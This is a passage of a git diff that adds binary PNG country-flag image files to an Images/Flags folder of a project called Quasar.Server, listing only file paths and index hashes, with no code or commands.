b/Quasar.Server/Images/Flags/gl.png differ diff --git a/Quasar.Server/Images/Flags/gm.png b/Quasar.Server/Images/Flags/gm.png new file mode 100644 index 0000000..0720b66 Binary files /dev/null and b/Quasar.Server/Images/Flags/gm.png differ diff --git a/Quasar.Server/Images/Flags/gn.png b/Quasar.Server/Images/Flags/gn.png new file mode 100644 index 0000000..ea660b0 Binary files /dev/null and b/Quasar.Server/Images/Flags/gn.png differ diff --git a/Quasar.Server/Images/Flags/gp.png b/Quasar.Server/Images/Flags/gp.png new file mode 100644 index 0000000..dbb086d Binary files /dev/null and b/Quasar.Server/Images/Flags/gp.png differ diff --git a/Quasar.Server/Images/Flags/gq.png b/Quasar.Server/Images/Flags/gq.png new file mode 100644 index 0000000..ebe20a2 Binary files /dev/null and b/Quasar.Server/Images/Flags/gq.png differ diff --git a/Quasar.Server/Images/Flags/gr.png b/Quasar.Server/Images/Flags/gr.png new file mode 100644 index 0000000..8651ade Binary files /dev/null and b/Quasar.Server/Images/Flags/gr.png differ diff --git a/Quasar.Server/Images/Flags/gs.png b/Quasar.Server/Images/Flags/gs.png new file mode 100644 index 0000000..7ef0bf5 Binary files /dev/null and b/Quasar.Server/Images/Flags/gs.png differ diff --git a/Quasar.Server/Images/Flags/gt.png b/Quasar.Server/Images/Flags/gt.png new file mode 100644 index 0000000..c43a70d Binary files /dev/null and b/Quasar.Server/Images/Flags/gt.png differ diff --git a/Quasar.Server/Images/Flags/gu.png b/Quasar.Server/Images/Flags/gu.png new file mode 100644 index 0000000..92f37c0 Binary files /dev/null and b/Quasar.Server/Images/Flags/gu.png differ diff --git a/Quasar.Server/Images/Flags/gw.png b/Quasar.Server/Images/Flags/gw.png new file mode 100644 index 0000000..b37bcf0 Binary files /dev/null and b/Quasar.Server/Images/Flags/gw.png differ diff --git a/Quasar.Server/Images/Flags/gy.png b/Quasar.Server/Images/Flags/gy.png new file mode 100644 index 0000000..22cbe2f Binary files /dev/null and b/Quasar.Server/Images/Flags/gy.png differ diff --git a/Quasar.Server/Images/Flags/hk.png b/Quasar.Server/Images/Flags/hk.png new file mode 100644 index 0000000..d5c380c Binary files /dev/null and b/Quasar.Server/Images/Flags/hk.png differ diff --git a/Quasar.Server/Images/Flags/hm.png b/Quasar.Server/Images/Flags/hm.png new file mode 100644 index 0000000..a01389a Binary files /dev/null and b/Quasar.Server/Images/Flags/hm.png differ diff --git a/Quasar.Server/Images/Flags/hn.png b/Quasar.Server/Images/Flags/hn.png new file mode 100644 index 0000000..96f8388 Binary files /dev/null and b/Quasar.Server/Images/Flags/hn.png differ diff --git a/Quasar.Server/Images/Flags/hr.png b/Quasar.Server/Images/Flags/hr.png new file mode 100644 index 0000000..696b515 Binary files /dev/null and b/Quasar.Server/Images/Flags/hr.png differ diff --git a/Quasar.Server/Images/Flags/ht.png b/Quasar.Server/Images/Flags/ht.png new file mode 100644 index 0000000..416052a Binary files /dev/null and b/Quasar.Server/Images/Flags/ht.png differ diff --git a/Quasar.Server/Images/Flags/hu.png b/Quasar.Server/Images/Flags/hu.png new file mode 100644 index 0000000..7baafe4 Binary files /dev/null and b/Quasar.Server/Images/Flags/hu.png differ diff --git a/Quasar.Server/Images/Flags/id.png b/Quasar.Server/Images/Flags/id.png new file mode 100644 index 0000000..c6bc0fa Binary files /dev/null and b/Quasar.Server/Images/Flags/id.png differ diff --git a/Quasar.Server/Images/Flags/ie.png b/Quasar.Server/Images/Flags/ie.png new file mode 100644 index 0000000..26baa31 Binary files /dev/null and b/Quasar.Server/Images/Flags/ie.png differ diff --git a/Quasar.Server/Images/Flags/il.png b/Quasar.Server/Images/Flags/il.png new file mode 100644 index 0000000..2ca772d Binary files /dev/null and b/Quasar.Server/Images/Flags/il.png differ diff --git a/Quasar.Server/Images/Flags/in.png b/Quasar.Server/Images/Flags/in.png new file mode 100644 index 0000000..e4d7e81 Binary files /dev/null and b/Quasar.Server/Images/Flags/in.png differ diff --git a/Quasar.Server/Images/Flags/io.png b/Quasar.Server/Images/Flags/io.png new file mode 100644 index 0000000..3e74b6a Binary files /dev/null and b/Quasar.Server/Images/Flags/io.png differ diff --git a/Quasar.Server/Images/Flags/iq.png b/Quasar.Server/Images/Flags/iq.png new file mode 100644 index 0000000..878a351 Binary files /dev/null and b/Quasar.Server/Images/Flags/iq.png differ diff --git a/Quasar.Server/Images/Flags/ir.png b/Quasar.Server/Images/Flags/ir.png new file mode 100644 index 0000000..c5fd136 Binary files /dev/null and b/Quasar.Server/Images/Flags/ir.png differ diff --git a/Quasar.Server/Images/Flags/is.png b/Quasar.Server/Images/Flags/is.png new file mode 100644 index 0000000..b8f6d0f Binary files /dev/null and b/Quasar.Server/Images/Flags/is.png differ diff --git a/Quasar.Server/Images/Flags/it.png b/Quasar.Server/Images/Flags/it.png new file mode 100644 index 0000000..89692f7 Binary files /dev/null and b/Quasar.Server/Images/Flags/it.png differ diff --git a/Quasar.Server/Images/Flags/jm.png b/Quasar.Server/Images/Flags/jm.png new file mode 100644 index 0000000..7be119e Binary files /dev/null and b/Quasar.Server/Images/Flags/jm.png differ diff --git a/Quasar.Server/Images/Flags/jo.png b/Quasar.Server/Images/Flags/jo.png new file mode 100644 index 0000000..11bd497 Binary files /dev/null and b/Quasar.Server/Images/Flags/jo.png differ diff --git a/Quasar.Server/Images/Flags/jp.png b/Quasar.Server/Images/Flags/jp.png new file mode 100644 index 0000000..325fbad Binary files /dev/null and b/Quasar.Server/Images/Flags/jp.png differ diff --git a/Quasar.Server/Images/Flags/ke.png b/Quasar.Server/Images/Flags/ke.png new file mode 100644 index 0000000..51879ad Binary files /dev/null and b/Quasar.Server/Images/Flags/ke.png differ diff --git a/Quasar.Server/Images/Flags/kg.png b/Quasar.Server/Images/Flags/kg.png new file mode 100644 index 0000000..0a818f6 Binary files /dev/null and b/Quasar.Server/Images/Flags/kg.png differ diff --git a/Quasar.Server/Images/Flags/kh.png b/Quasar.Server/Images/Flags/kh.png new file mode 100644 index 0000000..30f6bb1 Binary files /dev/null and b/Quasar.Server/Images/Flags/kh.png differ diff --git a/Quasar.Server/Images/Flags/ki.png b/Quasar.Server/Images/Flags/ki.png new file mode 100644 index 0000000..2dcce4b Binary files /dev/null and b/Quasar.Server/Images/Flags/ki.png differ diff --git a/Quasar.Server/Images/Flags/km.png b/Quasar.Server/Images/Flags/km.png new file mode 100644 index 0000000..812b2f5 Binary files /dev/null and b/Quasar.Server/Images/Flags/km.png differ diff --git a/Quasar.Server/Images/Flags/kn.png b/Quasar.Server/Images/Flags/kn.png new file mode 100644 index 0000000..febd5b4 Binary files /dev/null and b/Quasar.Server/Images/Flags/kn.png differ diff --git a/Quasar.Server/Images/Flags/kp.png b/Quasar.Server/Images/Flags/kp.png new file mode 100644 index 0000000..d3d509a Binary files /dev/null and b/Quasar.Server/Images/Flags/kp.png differ diff --git a/Quasar.Server/Images/Flags/kr.png b/Quasar.Server/Images/Flags/kr.png new file mode 100644 index 0000000..9c0a78e Binary files /dev/null and b/Quasar.Server/Images/Flags/kr.png differ diff --git a/Quasar.Server/Images/Flags/kw.png b/Quasar.Server/Images/Flags/kw.png new file mode 100644 index 0000000..96546da Binary files /dev/null and b/Quasar.Server/Images/Flags/kw.png differ diff --git a/Quasar.Server/Images/Flags/ky.png b/Quasar.Server/Images/Flags/ky.png new file mode 100644 index 0000000..15c5f8e Binary files /dev/null and b/Quasar.Server/Images/Flags/ky.png differ diff --git a/Quasar.Server/Images/Flags/kz.png b/Quasar.Server/Images/Flags/kz.png new file mode 100644 index 0000000..45a8c88 Binary files /dev/null and b/Quasar.Server/Images/Flags/kz.png differ diff --git a/Quasar.Server/Images/Flags/la.png b/Quasar.Server/Images/Flags/la.png new file mode 100644 index 0000000..e28acd0 Binary files /dev/null and b/Quasar.Server/Images/Flags/la.png differ diff --git a/Quasar.Server/Images/Flags/lb.png b/Quasar.Server/Images/Flags/lb.png new file mode 100644 index 0000000..d0d452b Binary files /dev/null and b/Quasar.Server/Images/Flags/lb.png differ diff --git a/Quasar.Server/Images/Flags/lc.png b/Quasar.Server/Images/Flags/lc.png new file mode 100644 index 0000000..a47d065 Binary files /dev/null and b/Quasar.Server/Images/Flags/lc.png differ diff --git a/Quasar.Server/Images/Flags/li.png b/Quasar.Server/Images/Flags/li.png new file mode 100644 index 0000000..6469909 Binary files /dev/null and b/Quasar.Server/Images/Flags/li.png differ diff --git a/Quasar.Server/Images/Flags/lk.png b/Quasar.Server/Images/Flags/lk.png new file mode 100644 index 0000000..088aad6 Binary files /dev/null and b/Quasar.Server/Images/Flags/lk.png differ diff --git a/Quasar.Server/Images/Flags/lr.png b/Quasar.Server/Images/Flags/lr.png new file mode 100644 index 0000000..89a5bc7 Binary files /dev/null and b/Quasar.Server/Images/Flags/lr.png differ diff --git a/Quasar.Server/Images/Flags/ls.png b/Quasar.Server/Images/Flags/ls.png new file mode 100644 index 0000000..33fdef1 Binary files /dev/null and b/Quasar.Server/Images/Flags/ls.png differ diff --git a/Quasar.Server/Images/Flags/lt.png b/Quasar.Server/Images/Flags/lt.png new file mode 100644 index 0000000..c8ef0da Binary files /dev/null and b/Quasar.Server/Images/Flags/lt.png differ diff --git a/Quasar.Server/Images/Flags/lu.png b/Quasar.Server/Images/Flags/lu.png new file mode 100644 index 0000000..4cabba9 Binary files /dev/null and b/Quasar.Server/Images/Flags/lu.png differ diff --git a/Quasar.Server/Images/Flags/lv.png b/Quasar.Server/Images/Flags/lv.png new file mode 100644 index 0000000..49b6998 Binary files /dev/null and b/Quasar.Server/Images/Flags/lv.png differ diff --git a/Quasar.Server/Images/Flags/ly.png b/Quasar.Server/Images/Flags/ly.png new file mode 100644 index 0000000..b163a9f Binary files /dev/null and b/Quasar.Server/Images/Flags/ly.png differ diff --git a/Quasar.Server/Images/Flags/ma.png b/Quasar.Server/Images/Flags/ma.png new file mode 100644 index 0000000..f386770 Binary files /dev/null and b/Quasar.Server/Images/Flags/ma.png differ diff --git a/Quasar.Server/Images/Flags/mc.png b/Quasar.Server/Images/Flags/mc.png new file mode 100644 index 0000000..1aa830f Binary files /dev/null and b/Quasar.Server/Images/Flags/mc.png differ diff --git a/Quasar.Server/Images/Flags/md.png b/Quasar.Server/Images/Flags/md.png new file mode 100644 index 0000000..4e92c18 Binary files /dev/null and b/Quasar.Server/Images/Flags/md.png differ diff --git a/Quasar.Server/Images/Flags/me.png b/Quasar.Server/Images/Flags/me.png new file mode 100644 index 0000000..ac72535 Binary files /dev/null and b/Quasar.Server/Images/Flags/me.png differ diff --git a/Quasar.Server/Images/Flags/mg.png b/Quasar.Server/Images/Flags/mg.png new file mode 100644 index 0000000..d2715b3 Binary files /dev/null and b/Quasar.Server/Images/Flags/mg.png differ diff --git a/Quasar.Server/Images/Flags/mh.png b/Quasar.Server/Images/Flags/mh.png new file mode 100644 index 0000000..fb523a8 Binary files /dev/null and b/Quasar.Server/Images/Flags/mh.png differ diff --git a/Quasar.Server/Images/Flags/mk.png b/Quasar.Server/Images/Flags/mk.png new file mode 100644 index 0000000..db173aa Binary files /dev/null and b/Quasar.Server/Images/Flags/mk.png differ diff --git a/Quasar.Server/Images/Flags/ml.png b/Quasar.Server/Images/Flags/ml.png new file mode 100644 index 0000000..2cec8ba Binary files /dev/null and b/Quasar.Server/Images/Flags/ml.png differ diff --git a/Quasar.Server/Images/Flags/mm.png b/Quasar.Server/Images/Flags/mm.png new file mode 100644 index 0000000..f464f67 Binary files /dev/null and b/Quasar.Server/Images/Flags/mm.png differ diff --git a/Quasar.Server/Images/Flags/mn.png b/Quasar.Server/Images/Flags/mn.png new file mode 100644 index 0000000..9396355 Binary files /dev/null and b/Quasar.Server/Images/Flags/mn.png differ diff --git a/Quasar.Server/Images/Flags/mo.png b/Quasar.Server/Images/Flags/mo.png new file mode 100644 index 0000000..deb801d Binary files /dev/null and b/Quasar.Server/Images/Flags/mo.png differ diff --git a/Quasar.Server/Images/Flags/mp.png b/Quasar.Server/Images/Flags/mp.png new file mode 100644 index 0000000..298d588 Binary files /dev/null and b/Quasar.Server/Images/Flags/mp.png differ diff --git a/Quasar.Server/Images/Flags/mq.png b/Quasar.Server/Images/Flags/mq.png new file mode 100644 index 0000000..010143b Binary files /dev/null and b/Quasar.Server/Images/Flags/mq.png differ diff --git a/Quasar.Server/Images/Flags/mr.png b/Quasar.Server/Images/Flags/mr.png new file mode 100644 index 0000000..319546b Binary files /dev/null and b/Quasar.Server/Images/Flags/mr.png differ diff --git a/Quasar.Server/Images/Flags/ms.png b/Quasar.Server/Images/Flags/ms.png new file mode 100644 index 0000000..d4cbb43 Binary files /dev/null and b/Quasar.Server/Images/Flags/ms.png differ diff --git a/Quasar.Server/Images/Flags/mt.png b/Quasar.Server/Images/Flags/mt.png new file mode 100644 index 0000000..00af948 Binary files /dev/null and b/Quasar.Server/Images/Flags/mt.png differ diff --git a/Quasar.Server/Images/Flags/mu.png b/Quasar.Server/Images/Flags/mu.png new file mode 100644 index 0000000..b7fdce1 Binary files /dev/null and b/Quasar.Server/Images/Flags/mu.png differ diff --git a/Quasar.Server/Images/Flags/mv.png b/Quasar.Server/Images/Flags/mv.png new file mode 100644 index 0000000..5073d9e Binary files /dev/null and b/Quasar.Server/Images/Flags/mv.png differ diff --git a/Quasar.Server/Images/Flags/mw.png b/Quasar.Server/Images/Flags/mw.png new file mode 100644 index 0000000..13886e9 Binary files /dev/null and b/Quasar.Server/Images/Flags/mw.png differ diff --git a/Quasar.Server/Images/Flags/mx.png b/Quasar.Server/Images/Flags/mx.png new file mode 100644 index 0000000..5bc58ab Binary files /dev/null and b/Quasar.Server/Images/Flags/mx.png differ diff --git a/Quasar.Server/Images/Flags/my.png b/Quasar.Server/Images/Flags/my.png new file mode 100644 index 0000000..9034cba Binary files /dev/null and b/Quasar.Server/Images/Flags/my.png differ diff --git a/Quasar.Server/Images/Flags/mz.png b/Quasar.Server/Images/Flags/mz.png new file mode 100644 index 0000000..76405e0 Binary files /dev/null and b/Quasar.Server/Images/Flags/mz.png differ diff --git a/Quasar.Server/Images/Flags/na.png b/Quasar.Server/Images/Flags/na.png new file mode 100644 index 0000000..63358c6 Binary files /dev/null and b/Quasar.Server/Images/Flags/na.png differ diff --git a/Quasar.Server/Images/Flags/nc.png b/Quasar.Server/Images/Flags/nc.png new file mode 100644 index 0000000..2cad283 Binary files /dev/null and b/Quasar.Server/Images/Flags/nc.png differ diff --git a/Quasar.Server/Images/Flags/ne.png b/Quasar.Server/Images/Flags/ne.png new file mode 100644 index 0000000..d85f424 Binary files /dev/null and b/Quasar.Server/Images/Flags/ne.png differ diff --git a/Quasar.Server/Images/Flags/nf.png b/Quasar.Server/Images/Flags/nf.png new file mode 100644 index 0000000..f9bcdda Binary files /dev/null and b/Quasar.Server/Images/Flags/nf.png differ diff --git a/Quasar.Server/Images/Flags/ng.png b/Quasar.Server/Images/Flags/ng.png new file mode 100644 index 0000000..3eea2e0 Binary files /dev/null and b/Quasar.Server/Images/Flags/ng.png differ diff --git a/Quasar.Server/Images/Flags/ni.png b/Quasar.Server/Images/Flags/ni.png new file mode 100644 index 0000000..3969aaa Binary files /dev/null and b/Quasar.Server/Images/Flags/ni.png differ diff --git a/Quasar.Server/Images/Flags/nl.png b/Quasar.Server/Images/Flags/nl.png new file mode 100644 index 0000000..fe44791 Binary files /dev/null and b/Quasar.Server/Images/Flags/nl.png differ diff --git a/Quasar.Server/Images/Flags/no.png b/Quasar.Server/Images/Flags/no.png new file mode 100644 index 0000000..160b6b5 Binary files /dev/null and b/Quasar.Server/Images/Flags/no.png differ diff --git a/Quasar.Server/Images/Flags/np.png b/Quasar.Server/Images/Flags/np.png new file mode 100644 index 0000000..aeb058b Binary files /dev/null and b/Quasar.Server/Images/Flags/np.png differ diff --git a/Quasar.Server/Images/Flags/nr.png b/Quasar.Server/Images/Flags/nr.png new file mode 100644 index 0000000..705fc33 Binary files /dev/null and b/Quasar.Server/Images/Flags/nr.png differ diff --git a/Quasar.Server/Images/Flags/nu.png b/Quasar.Server/Images/Flags/nu.png new file mode 100644 index 0000000..c3ce4ae Binary files /dev/null and b/Quasar.Server/Images/Flags/nu.png differ diff --git a/Quasar.Server/Images/Flags/nz.png b/Quasar.Server/Images/Flags/nz.png new file mode 100644 index 0000000..10d6306 Binary files /dev/null and b/Quasar.Server/Images/Flags/nz.png differ diff --git a/Quasar.Server/Images/Flags/om.png b/Quasar.Server/Images/Flags/om.png new file mode 100644 index 0000000..2ffba7e Binary files /dev/null and b/Quasar.Server/Images/Flags/om.png differ diff --git a/Quasar.Server/Images/Flags/pa.png b/Quasar.Server/Images/Flags/pa.png new file mode 100644 index 0000000..9b2ee9a Binary files /dev/null and b/Quasar.Server/Images/Flags/pa.png differ diff --git a/Quasar.Server/Images/Flags/pe.png b/Quasar.Server/Images/Flags/pe.png new file mode 100644 index 0000000..62a0497 Binary files /dev/null and b/Quasar.Server/Images/Flags/pe.png differ diff --git a/Quasar.Server/Images/Flags/pf.png b/Quasar.Server/Images/Flags/pf.png new file mode 100644 index 0000000..771a0f6 Binary files /dev/null and b/Quasar.Server/Images/Flags/pf.png differ diff --git a/Quasar.Server/Images/Flags/pg.png b/Quasar.Server/Images/Flags/pg.png new file mode 100644 index 0000000..10d6233 Binary files /dev/null and b/Quasar.Server/Images/Flags/pg.png differ diff --git a/Quasar.Server/Images/Flags/ph.png b/Quasar.Server/Images/Flags/ph.png new file mode 100644 index 0000000..b89e159 Binary files /dev/null and b/Quasar.Server/Images/Flags/ph.png differ diff --git a/Quasar.Server/Images/Flags/pk.png b/Quasar.Server/Images/Flags/pk.png new file mode 100644 index 0000000..e9df70c Binary files /dev/null and b/Quasar.Server/Images/Flags/pk.png differ diff --git a/Quasar.Server/Images/Flags/pl.png b/Quasar.Server/Images/Flags/pl.png new file mode 100644 index 0000000..d413d01 Binary files /dev/null and b/Quasar.Server/Images/Flags/pl.png differ diff --git a/Quasar.Server/Images/Flags/pm.png b/Quasar.Server/Images/Flags/pm.png new file mode 100644 index 0000000..ba91d2c Binary files /dev/null and b/Quasar.Server/Images/Flags/pm.png differ diff --git a/Quasar.Server/Images/Flags/pn.png b/Quasar.Server/Images/Flags/pn.png new file mode 100644 index 0000000..aa9344f Binary files /dev/null and b/Quasar.Server/Images/Flags/pn.png differ diff --git a/Quasar.Server/Images/Flags/pr.png b/Quasar.Server/Images/Flags/pr.png new file mode 100644 index 0000000..82d9130 Binary files /dev/null and b/Quasar.Server/Images/Flags/pr.png differ diff --git a/Quasar.Server/Images/Flags/ps.png b/Quasar.Server/Images/Flags/ps.png new file mode 100644 index 0000000..f5f5477 Binary files /dev/null and b/Quasar.Server/Images/Flags/ps.png differ diff --git a/Quasar.Server/Images/Flags/pt.png b/Quasar.Server/Images/Flags/pt.png new file mode 100644 index 0000000..ece7980 Binary files /dev/null and b/Quasar.Server/Images/Flags/pt.png differ diff --git a/Quasar.Server/Images/Flags/pw.png b/Quasar.Server/Images/Flags/pw.png new file mode 100644 index 0000000..6178b25 Binary files /dev/null and b/Quasar.Server/Images/Flags/pw.png differ diff --git a/Quasar.Server/Images/Flags/py.png b/Quasar.Server/Images/Flags/py.png new file mode 100644 index 0000000..cb8723c Binary files /dev/null and b/Quasar.Server/Images/Flags/py.png differ diff --git a/Quasar.Server/Images/Flags/qa.png b/Quasar.Server/Images/Flags/qa.png new file mode 100644 index 0000000..ed4c621 Binary files /dev/null and b/Quasar.Server/Images/Flags/qa.png differ diff --git a/Quasar.Server/Images/Flags/re.png b/Quasar.Server/Images/Flags/re.png new file mode 100644 index 0000000..8332c4e Binary files /dev/null and b/Quasar.Server/Images/Flags/re.png differ diff --git a/Quasar.Server/Images/Flags/ro.png b/Quasar.Server/Images/Flags/ro.png new file mode 100644 index 0000000..57e74a6 Binary files /dev/null and b/Quasar.Server/Images/Flags/ro.png differ diff --git a/Quasar.Server/Images/Flags/rs.png b/Quasar.Server/Images/Flags/rs.png new file mode 100644 index 0000000..9439a5b Binary files /dev/null and b/Quasar.Server/Images/Flags/rs.png differ diff --git a/Quasar.Server/Images/Flags/ru.png b/Quasar.Server/Images/Flags/ru.png new file mode 100644 index 0000000..47da421 Binary files /dev/null and b/Quasar.Server/Images/Flags/ru.png differ diff --git a/Quasar.Server/Images/Flags/rw.png b/Quasar.Server/Images/Flags/rw.png new file mode 100644 index 0000000..5356491 Binary files /dev/null and b/Quasar.Server/Images/Flags/rw.png differ diff --git a/Quasar.Server/Images/Flags/sa.png b/Quasar.Server/Images/Flags/sa.png new file mode 100644 index 0000000..b4641c7 Binary files /dev/null and b/Quasar.Server/Images/Flags/sa.png differ diff --git a/Quasar.Server/Images/Flags/sb.png b/Quasar.Server/Images/Flags/sb.png new file mode 100644 index 0000000..a9937cc Binary files /dev/null and b/Quasar.Server/Images/Flags/sb.png differ diff --git a/Quasar.Server/Images/Flags/sc.png b/Quasar.Server/Images/Flags/sc.png new file mode 100644 index 0000000..39ee371 Binary files /dev/null and b/Quasar.Server/Images/Flags/sc.png differ diff --git a/Quasar.Server/Images/Flags/scotland.png b/Quasar.Server/Images/Flags/scotland.png new file mode 100644 index 0000000..a0e57b4 Binary files /dev/null and b/Quasar.Server/Images/Flags/scotland.png differ diff --git a/Quasar.Server/Images/Flags/sd.png b/Quasar.Server/Images/Flags/sd.png new file mode 100644 index 0000000..eaab69e Binary files /dev/null and b/Quasar.Server/Images/Flags/sd.png differ diff --git a/Quasar.Server/Images/Flags/se.png b/Quasar.Server/Images/Flags/se.png new file mode 100644 index 0000000..1994653 Binary files /dev/null and b/Quasar.Server/Images/Flags/se.png differ diff --git a/Quasar.Server/Images/Flags/sg.png b/Quasar.Server/Images/Flags/sg.png new file mode 100644 index 0000000..dd34d61 Binary files /dev/null and b/Quasar.Server/Images/Flags/sg.png differ diff --git a/Quasar.Server/Images/Flags/sh.png b/Quasar.Server/Images/Flags/sh.png new file mode 100644 index 0000000..4b1d2a2 Binary files /dev/null and b/Quasar.Server/Images/Flags/sh.png differ diff --git a/Quasar.Server/Images/Flags/si.png b/Quasar.Server/Images/Flags/si.png new file mode 100644 index 0000000..bb1476f Binary files /dev/null and b/Quasar.Server/Images/Flags/si.png differ diff --git a/Quasar.Server/Images/Flags/sj.png b/Quasar.Server/Images/Flags/sj.png new file mode 100644 index 0000000..160b6b5 Binary files /dev/null and b/Quasar.Server/Images/Flags/sj.png differ diff --git a/Quasar.Server/Images/Flags/sk.png b/Quasar.Server/Images/Flags/sk.png new file mode 100644 index 0000000..7ccbc82 Binary files /dev/null and b/Quasar.Server/Images/Flags/sk.png differ diff --git a/Quasar.Server/Images/Flags/sl.png b/Quasar.Server/Images/Flags/sl.png new file mode 100644 index 0000000..12d812d Binary files /dev/null and b/Quasar.Server/Images/Flags/sl.png differ diff --git a/Quasar.Server/Images/Flags/sm.png b/Quasar.Server/Images/Flags/sm.png new file mode 100644 index 0000000..3df2fdc Binary files /dev/null and b/Quasar.Server/Images/Flags/sm.png differ diff --git a/Quasar.Server/Images/Flags/sn.png b/Quasar.Server/Images/Flags/sn.png new file mode 100644 index 0000000..eabb71d Binary files /dev/null and b/Quasar.Server/Images/Flags/sn.png differ diff --git a/Quasar.Server/Images/Flags/so.png b/Quasar.Server/Images/Flags/so.png new file mode 100644 index 0000000..4a1ea4b Binary files /dev/null and b/Quasar.Server/Images/Flags/so.png differ diff --git a/Quasar.Server/Images/Flags/sr.png b/Quasar.Server/Images/Flags/sr.png new file mode 100644 index 0000000..5eff927 Binary files /dev/null and b/Quasar.Server/Images/Flags/sr.png differ diff --git a/Quasar.Server/Images/Flags/st.png b/Quasar.Server/Images/Flags/st.png new file mode 100644 index 0000000..2978557 Binary files /dev/null and b/Quasar.Server/Images/Flags/st.png differ diff --git a/Quasar.Server/Images/Flags/sv.png b/Quasar.Server/Images/Flags/sv.png new file mode 100644 index 0000000..2498799 Binary files /dev/null and b/Quasar.Server/Images/Flags/sv.png differ diff --git a/Quasar.Server/Images/Flags/sy.png b/Quasar.Server/Images/Flags/sy.png new file mode 100644 index 0000000..f5ce30d Binary files /dev/null and b/Quasar.Server/Images/Flags/sy.png differ diff --git a/Quasar.Server/Images/Flags/sz.png b/Quasar.Server/Images/Flags/sz.png new file mode 100644 index 0000000..914ee86 Binary files /dev/null and b/Quasar.Server/Images/Flags/sz.png differ diff --git a/Quasar.Server/Images/Flags/tc.png b/Quasar.Server/Images/Flags/tc.png new file mode 100644 index 0000000..8fc1156 Binary files /dev/null and b/Quasar.Server/Images/Flags/tc.png differ diff --git a/Quasar.Server/Images/Flags/td.png b/Quasar.Server/Images/Flags/td.png new file mode 100644 index 0000000..667f21f Binary files /dev/null and b/Quasar.Server/Images/Flags/td.png differ diff --git a/Quasar.Server/Images/Flags/tf.png b/Quasar.Server/Images/Flags/tf.png new file mode 100644 index 0000000..80529a4 Binary files /dev/null and b/Quasar.Server/Images/Flags/tf.png differ diff --git a/Quasar.Server/Images/Flags/tg.png b/Quasar.Server/Images/Flags/tg.png new file mode 100644 index 0000000..3aa00ad Binary files /dev/null and b/Quasar.Server/Images/Flags/tg.png differ diff --git a/Quasar.Server/Images/Flags/th.png b/Quasar.Server/Images/Flags/th.png new file mode 100644 index 0000000..dd8ba91 Binary files /dev/null and b/Quasar.Server/Images/Flags/th.png differ diff --git a/Quasar.Server/Images/Flags/tj.png b/Quasar.Server/Images/Flags/tj.png new file mode 100644 index 0000000..617bf64 Binary files /dev/null and b/Quasar.Server/Images/Flags/tj.png differ diff --git a/Quasar.Server/Images/Flags/tk.png b/Quasar.Server/Images/Flags/tk.png new file mode 100644 index 0000000..67b8c8c Binary files /dev/null and b/Quasar.Server/Images/Flags/tk.png differ diff --git a/Quasar.Server/Images/Flags/tl.png b/Quasar.Server/Images/Flags/tl.png new file mode 100644 index 0000000..77da181 Binary files /dev/null and b/Quasar.Server/Images/Flags/tl.png differ diff --git a/Quasar.Server/Images/Flags/tm.png b/Quasar.Server/Images/Flags/tm.png new file mode 100644 index 0000000..828020e Binary files /dev/null and b/Quasar.Server/Images/Flags/tm.png differ diff --git a/Quasar.Server/Images/Flags/tn.png b/Quasar.Server/Images/Flags/tn.png new file mode 100644 index 0000000..183cdd3 Binary files /dev/null and b/Quasar.Server/Images/Flags/tn.png differ diff --git a/Quasar.Server/Images/Flags/to.png b/Quasar.Server/Images/Flags/to.png new file mode 100644 index 0000000..f89b8ba Binary files /dev/null and b/Quasar.Server/Images/Flags/to.png differ diff --git a/Quasar.Server/Images/Flags/tr.png b/Quasar.Server/Images/Flags/tr.png new file mode 100644 index 0000000..be32f77 Binary files /dev/null and b/Quasar.Server/Images/Flags/tr.png differ diff --git a/Quasar.Server/Images/Flags/tt.png b/Quasar.Server/Images/Flags/tt.png new file mode 100644 index 0000000..2a11c1e Binary files /dev/null and b/Quasar.Server/Images/Flags/tt.png differ diff --git a/Quasar.Server/Images/Flags/tv.png b/Quasar.Server/Images/Flags/tv.png new file mode 100644 index 0000000..28274c5 Binary files /dev/null and b/Quasar.Server/Images/Flags/tv.png differ diff --git a/Quasar.Server/Images/Flags/tw.png b/Quasar.Server/Images/Flags/tw.png new file mode 100644 index 0000000..f31c654 Binary files /dev/null and b/Quasar.Server/Images/Flags/tw.png differ diff --git a/Quasar.Server/Images/Flags/tz.png b/Quasar.Server/Images/Flags/tz.png new file mode 100644 index 0000000..c00ff79 Binary files /dev/null and b/Quasar.Server/Images/Flags/tz.png differ diff --git a/Quasar.Server/Images/Flags/ua.png b/Quasar.Server/Images/Flags/ua.png new file mode 100644 index 0000000..09563a2 Binary files /dev/null and b/Quasar.Server/Images/Flags/ua.png differ diff --git a/Quasar.Server/Images/Flags/ug.png b/Quasar.Server/Images/Flags/ug.png new file mode 100644 index 0000000..33f4aff Binary files /dev/null and b/Quasar.Server/Images/Flags/ug.png differ diff --git a/Quasar.Server/Images/Flags/um.png b/Quasar.Server/Images/Flags/um.png new file mode 100644 index 0000000..c1dd965 Binary files /dev/null and b/Quasar.Server/Images/Flags/um.png differ diff --git a/Quasar.Server/Images/Flags/us.png b/Quasar.Server/Images/Flags/us.png new file mode 100644 index 0000000..10f451f Binary files /dev/null and b/Quasar.Server/Images/Flags/us.png differ diff --git a/Quasar.Server/Images/Flags/uy.png b/Quasar.Server/Images/Flags/uy.png new file mode 100644 index 0000000..31d948a Binary files /dev/null and b/Quasar.Server/Images/Flags/uy.png differ diff --git a/Quasar.Server/Images/Flags/uz.png b/Quasar.Server/Images/Flags/uz.png new file mode 100644 index 0000000..fef5dc1 Binary files /dev/null and b/Quasar.Server/Images/Flags/uz.png differ diff --git a/Quasar.Server/Images/Flags/va.png b/Quasar.Server/Images/Flags/va.png new file mode 100644 index 0000000..b31eaf2 Binary files /dev/null and b/Quasar.Server/Images/Flags/va.png differ diff --git a/Quasar.Server/Images/Flags/vc.png b/Quasar.Server/Images/Flags/vc.png new file mode 100644 index 0000000..8fa17b0 Binary files /dev/null and b/Quasar.Server/Images/Flags/vc.png differ diff --git a/Quasar.Server/Images/Flags/ve.png b/Quasar.Server/Images/Flags/ve.png new file mode 100644 index 0000000..00c90f9 Binary files /dev/null and b/Quasar.Server/Images/Flags/ve.png differ diff --git a/Quasar.Server/Images/Flags/vg.png b/Quasar.Server/Images/Flags/vg.png new file mode 100644 index 0000000..4156907 Binary files /dev/null and b/Quasar.Server/Images/Flags/vg.png differ diff --git a/Quasar.Server/Images/Flags/vi.png b/Quasar.Server/Images/Flags/vi.png new file mode 100644 index 0000000..ed26915 Binary files /dev/null and b/Quasar.Server/Images/Flags/vi.png differ diff --git a/Quasar.Server/Images/Flags/vn.png b/Quasar.Server/Images/Flags/vn.png new file mode 100644 index 0000000..ec7cd48 Binary files /dev/null and b/Quasar.Server/Images/Flags/vn.png differ diff --git 